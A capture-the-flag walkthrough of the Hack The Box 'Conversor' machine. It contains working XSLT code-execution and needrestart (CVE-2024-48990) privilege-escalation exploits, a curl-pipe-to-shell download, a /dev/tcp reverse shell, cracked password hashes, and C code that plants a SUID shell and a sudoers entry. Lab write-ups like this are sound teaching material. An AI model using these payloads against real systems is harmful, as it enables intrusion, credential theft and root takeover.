Conversor
Recon
Port Scanning
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(kali㉿vm-kali)-[~]
└─$ sudo nmap -p- --min-rate 10000 10.129.200.45
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-29 01:54 PDT
Warning: 10.129.200.45 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.200.45
Host is up (1.6s latency).
Not shown: 40309 closed tcp ports (reset), 25224 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 73.23 seconds
┌──(kali㉿vm-kali)-[~]
└─$ sudo nmap -p22,80 -sCV 10.129.200.45
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-29 01:56 PDT
Nmap scan report for 10.129.200.45
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_ 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://conversor.htb/
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.68 seconds
Add 10.129.200.45 conversor.htb to /etc/hosts. Also fuzz for any subdomains with ffuf.
Website
On visiting the website we are immediately greeted by a login page.
On trying a credential like admin:admin the server responds with Invalid Credential.
1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Date: Wed, 29 Oct 2025 09:06:36 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 19
Invalid credentials
Let’s register a account. After logging in we are greeted by an XML and XSLT converter for nmap results. There’s also an About page.
By the looks of it, there might an XXE, or a file upload vulnerability here.
The about page allows for downloading the source code of the web :D
Code Review
Let’s deep dive into the source code and figure out what part of the website is vulnerable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿vm-kali)-[~/htb/conversor.htb]
└─$ mkdir source_code
┌──(kali㉿vm-kali)-[~/htb/conversor.htb]
└─$ tar -xf source_code.tar.gz -C source_code
┌──(kali㉿vm-kali)-[~/htb/conversor.htb]
└─$ ls -la source_code
total 44
drwxrwxr-x 7 kali kali 4096 Oct 29 02:16 .
drwxrwxr-x 3 kali kali 4096 Oct 29 02:16 ..
-rwxr-x--- 1 kali kali 4461 Aug 14 13:47 app.py
-rwxr-x--- 1 kali kali 92 Jul 30 21:00 app.wsgi
-rwxr-x--- 1 kali kali 528 Aug 14 13:52 install.md
drwxr-x--- 2 kali kali 4096 Aug 14 13:45 instance
drwxr-x--- 2 kali kali 4096 Aug 14 13:43 scripts
drwxr-x--- 3 kali kali 4096 Aug 15 17:03 static
drwxr-x--- 2 kali kali 4096 Aug 15 18:17 templates
drwxr-x--- 2 kali kali 4096 Aug 14 13:43 uploads
There’s also an sqlite db present under instance dir, with no data of course.
1
2
3
4
5
6
┌──(kali㉿vm-kali)-[~/htb/conversor.htb/source_code]
└─$ ls -la instance
total 32
drwxr-x--- 2 kali kali 4096 Aug 14 13:45 .
drwxrwxr-x 7 kali kali 4096 Oct 29 02:16 ..
-rwxr-x--- 1 kali kali 24576 Aug 14 13:45 users.db
The vulnerable function is here:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
@app.route('/convert', methods=['POST'])
def convert():
if 'user_id' not in session:
return redirect(url_for('login'))
xml_file = request.files['xml_file']
xslt_file = request.files['xslt_file']
from lxml import etree
xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
xml_file.save(xml_path)
xslt_file.save(xslt_path)
try:
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
xml_tree = etree.parse(xml_path, parser)
xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)
result_html = str(result_tree)
file_id = str(uuid.uuid4())
filename = f"{file_id}.html"
html_path = os.path.join(UPLOAD_FOLDER, filename)
with open(html_path, "w") as f:
f.write(result_html)
conn = get_db()
conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
conn.commit()
conn.close()
return redirect(url_for('index'))
except Exception as e:
return f"Error: {e}"
The XML file has resolve_entities=False which prevents entity expansion, but the XSLT file is parsed without those restrictions!
Let’s create a dummy .xml and a malicious .xslt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿vm-kali)-[~/htb/conversor.htb]
└─$ cat xxe.xml
<?xml version="1.0" encoding="UTF-8"?>
<nmaprun>
<host>
<address addr="127.0.0.1"/>
</host>
</nmaprun>
┌──(kali㉿vm-kali)-[~/htb/conversor.htb]
└─$ cat xxe.xslt
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h1>File Content:</h1>
<pre><xsl:value-of select="document('app.py')"/></pre>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
Uploading both of them gets us:
Error: Cannot resolve URI /var/www/conversor.htb/uploads/app.py
Instead of an XXE there might be an XSLT specific vulnerability.
Shell as www-data
We can use an xslt like this, also known as XSLT Code Execution:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document href="/var/www/conversor.htb/scripts/test2.py" method="text">
import os
os.system("curl 10.10.16.12:80/x|sh")
</exploit:document>
</xsl:template>
</xsl:stylesheet>
The above payload writes a file to the disk, which can be executed by a cron job.
Content of x:
1
2
3
┌──(kali㉿vm-kali)-[~/htb/conversor.htb]
└─$ cat x
bash -c "bash -i >& /dev/tcp/10.10.16.12/1234 0>&1"
It will be uploaded to /scripts/test2.py, we will get a request on our python http server shortly:
1
2
3
4
┌──(kali㉿vm-kali)-[~/htb/conversor.htb]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.200.45 - - [29/Oct/2025 02:52:01] "GET /x HTTP/1.1" 200 -
also a reverse shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿vm-kali)-[~/htb/conversor.htb/source_code]
└─$ rlwrap ncat -lvnp 1234
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.129.200.45:43280.
bash: cannot set terminal process group (3174): Inappropriate ioctl for device
bash: no job control in this shell
www-data@conversor:~$ whoami
whoami
www-data
www-data@conversor:~$
Let’s retrieve the db content:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
www-data@conversor:~$ ls -la
ls -la
total 12
drwxr-x--- 3 www-data www-data 4096 Aug 15 05:19 .
drwxr-xr-x 13 root root 4096 Jul 31 03:55 ..
lrwxrwxrwx 1 root root 9 Aug 15 05:19 .bash_history -> /dev/null
drwxr-x--- 8 www-data www-data 4096 Aug 14 21:34 conversor.htb
lrwxrwxrwx 1 root root 9 Aug 15 05:19 .python_history -> /dev/null
lrwxrwxrwx 1 root root 9 Aug 15 05:19 .sqlite_history -> /dev/null
www-data@conversor:~$ sqlite3 conversor.htb/instance/users.db
sqlite3 conversor.htb/instance/users.db
.tables;
Error: unknown command or invalid arguments: "tables;". Enter ".help" for help
.tables
files users
SELECT * FROM users;
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|marsh|d3ee527baae384aad8ef4ba0e308da7c
From crackstation: Keepmesafeandwarm
SSH as fismathack
We can ssh with the above cracked credentials:
1
2
3
4
5
6
7
ssh fismathack@conversor.htb
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Wed Oct 29 09:57:39 2025 from 10.10.16.12
fismathack@conversor:~$ cat user.txt
For privilege escalation, we do the classic sudo -l and see we can indeed run a binary with SUDO priv.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart
fismathack@conversor:~$ needrestart -h
Unknown option: h
Usage:
needrestart [-vn] [-c <cfg>] [-r <mode>] [-f <fe>] [-u <ui>] [-(b|p|o)] [-klw]
-v be more verbose
-q be quiet
-m <mode> set detail level
e (e)asy mode
a (a)dvanced mode
-n set default answer to 'no'
-c <cfg> config filename
-r <mode> set restart mode
l (l)ist only
i (i)nteractive restart
a (a)utomatically restart
-b enable batch mode
-p enable nagios plugin mode
-o enable OpenMetrics output mode, implies batch mode, cannot be used simultaneously with -p
-f <fe> override debconf frontend (DEBIAN_FRONTEND, debconf(7))
-t <seconds> tolerate interpreter process start times within this value
-u <ui> use preferred UI package (-u ? shows available packages)
By using the following options only the specified checks are performed:
-k check for obsolete kernel
-l check for obsolete libraries
-w check for obsolete CPU microcode
--help show this help
--version show version information
There are multiple known CVEs associated with needrestart, the one that interests us is arbitrary code execution as that allows for LPE.
Qualys discovered that needrestart, before version 3.8, allows local attackers to execute arbitrary code as root by tricking needrestart into running the Python interpreter with an attacker-controlled PYTHONPATH environment variable.
We can confirm that needrestart on the victim machine is < 3.8.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
fismathack@conversor:~$ needrestart --version
needrestart 3.7 - Restart daemons after library updates.
Authors:
Thomas Liske <thomas@fiasko-nw.net>
Copyright Holder:
2013 - 2022 (C) Thomas Liske [http://fiasko-nw.net/~thomas/]
Upstream:
https://github.com/liske/needrestart
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
Privilege Escalation
On attacker machine:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(kali㉿vm-kali)-[~/htb/conversor.htb/CVE-2024-48990-PoC]
└─$ cd ..
┌──(kali㉿vm-kali)-[~/htb/conversor.htb]
└─$ cat << 'EOF' > lib.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static void a() __attribute__((constructor));
void a() {
if(geteuid() == 0) {
setuid(0);
setgid(0);
const char *shell = "cp /bin/sh /tmp/poc; "
"chmod u+s /tmp/poc; "
"grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
"echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
system(shell);
}
}
EOF
┌──(kali㉿vm-kali)-[~/htb/conversor.htb]
└─$ gcc -shared -fPIC -o __init__.so lib.c
┌──(kali㉿vm-kali)-[~/htb/conversor.htb]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.114.227 - - [29/Oct/2025 03:38:17] "GET /__init__.so HTTP/1.1" 200 -
On victim machine:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
fismathack@conversor:~$ cd /tmp
fismathack@conversor:/tmp$ mkdir -p malicious/importlib
fismathack@conversor:/tmp$ cd malicious/importlib
fismathack@conversor:/tmp/malicious/importlib$ wget http://10.10.16.12/__init__.so
--2025-10-29 10:38:18-- http://10.10.16.12/__init__.so
Connecting to 10.10.16.12:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15520 (15K) [application/octet-stream]
Saving to: ‘__init__.so’
__init__.so 100%[============================================
2025-10-29 10:38:19 (18.5 KB/s) - ‘__init__.so’ saved [15520/15520]
fismathack@conversor:/tmp/malicious/importlib$ cd ..
fismathack@conversor:/tmp/malicious$ cat << 'EOF' > e.py
import time
while True:
try:
import importlib
except:
pass
if __import__("os").path.exists("/tmp/poc"):
print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
__import__("os").system("sudo /tmp/poc -p")
break
time.sleep(1)
EOF
fismathack@conversor:/tmp/malicious$ PYTHONPATH="$PWD" python3 e.py 2>/dev/null
Now, in another terminal ssh again as fismathack and run needrestart:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Last login: Wed Oct 29 10:40:17 2025 from 10.10.16.12
fismathack@conversor:~$ sudo needrestart -v
[main] eval /etc/needrestart/needrestart.conf
[main] needrestart v3.7
[main] running in root mode
[Core] Using UI 'NeedRestart::UI::stdio'...
[main] systemd detected
[main] vm detected
[Core] #820 is a NeedRestart::Interp::Python
[Python] #820: source=/usr/bin/networkd-dispatcher
[Core] #21120 is a NeedRestart::Interp::Python
[Python] #21120: source=/tmp/malicious/e.py
Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:
Traceback (most recent call last):
File "/usr/lib/python3.10/site.py", line 192, in addpackage
exec(line)
File "<string>", line 1, in <module>
ImportError: dynamic module does not define module export function (PyInit_importlib)
Remainder of file ignored
[Core] blacklisted: /tmp/malicious/e.py
[main] inside container or vm, skipping microcode checks
[Kernel] Linux: kernel release 5.15.0-160-generic, kernel version #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025
Failed to load NeedRestart::Kernel::kFreeBSD: [Kernel/kFreeBSD] Not running on GNU/kFreeBSD!
[Kernel/Linux] /boot/vmlinuz.old => 5.15.0-151-generic (buildd@lcy02-amd64-092) #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 [5.15.0-151-generic]
[Kernel/Linux] /boot/vmlinuz-5.15.0-160-generic => 5.15.0-160-generic (buildd@lcy02-amd64-086) #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 [5.15.0-160-generic]*
[Kernel/Linux] /boot/vmlinuz-5.15.0-151-generic => 5.15.0-151-generic (buildd@lcy02-amd64-092) #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 [5.15.0-151-generic]
[Kernel/Linux] /boot/vmlinuz => 5.15.0-160-generic (buildd@lcy02-amd64-086) #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 [5.15.0-160-generic]*
[Kernel/Linux] Expected linux version: 5.15.0-160-generic
Running kernel seems to be up-to-date.
No services need to be restarted.
No containers need to be restarted.
No user sessions are running outdated binaries.
No VM guests are running outdated hypervisor (qemu) binaries on this host.
On the previous terminal we get the root shell:
1
2
3
4
Got shell!, delete traces in /tmp/poc, /tmp/malicious
whoami
root
Explaining CVE-2024-48990
needrestart is a utility that checks which services need restarting after updates. When run as root, it has a vulnerability where it can be tricked into loading malicious Python modules from attacker-controlled paths.
1. The Malicious C Library (lib.c):
1
static void a() __attribute__((constructor));
- This creates a constructor function that runs automatically when the shared library is loaded
- It doesn’t wait to be called - it executes immediately upon import
1
2
3
if(geteuid() == 0) { // Check if running as root
setuid(0);
setgid(0);
- Ensures we have full root privileges
1
2
const char *shell = "cp /bin/sh /tmp/poc; "
"chmod u+s /tmp/poc; "
- Copies
/bin/sh(shell) to/tmp/poc - Sets the SUID bit (
u+s), so when ANY user runs/tmp/poc, it runs with root privileges
1
2
"grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
"echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
- Adds a sudoers entry allowing anyone to run
/tmp/pocwithout a password (backup method)
2. The Directory Structure:
1
2
3
4
/tmp/malicious/
├── importlib/
│ └── __init__.so (our malicious library)
└── e.py
When Python tries to import importlib with PYTHONPATH=/tmp/malicious, it looks for:
/tmp/malicious/importlib/__init__.pyor/tmp/malicious/importlib/__init__.so← our malicious library!
3. The Python Trigger Script (e.py):
1
PYTHONPATH="$PWD" python3 e.py
- Sets
PYTHONPATHso Python searches/tmp/maliciousfirst
1
import importlib
- When
needrestart(running as root) evaluates Python code, this import loads our malicious.sofile - The constructor function executes immediately as root
1
2
if __import__("os").path.exists("/tmp/poc"):
__import__("os").system("sudo /tmp/poc -p")
- Checks if the SUID shell was created
- If yes, executes it with
-pflag (preserves root privileges) - You now have a root shell!
Summary
- Compile malicious
.sothat creates a SUID shell when loaded - Place it where Python will find it (
malicious/importlib/__init__.so) - Trigger
needrestartto run Python code as root - Python imports our fake
importlibmodule - Our code executes as root, creating
/tmp/poc(SUID shell) - Execute
/tmp/poc -pto get root shell


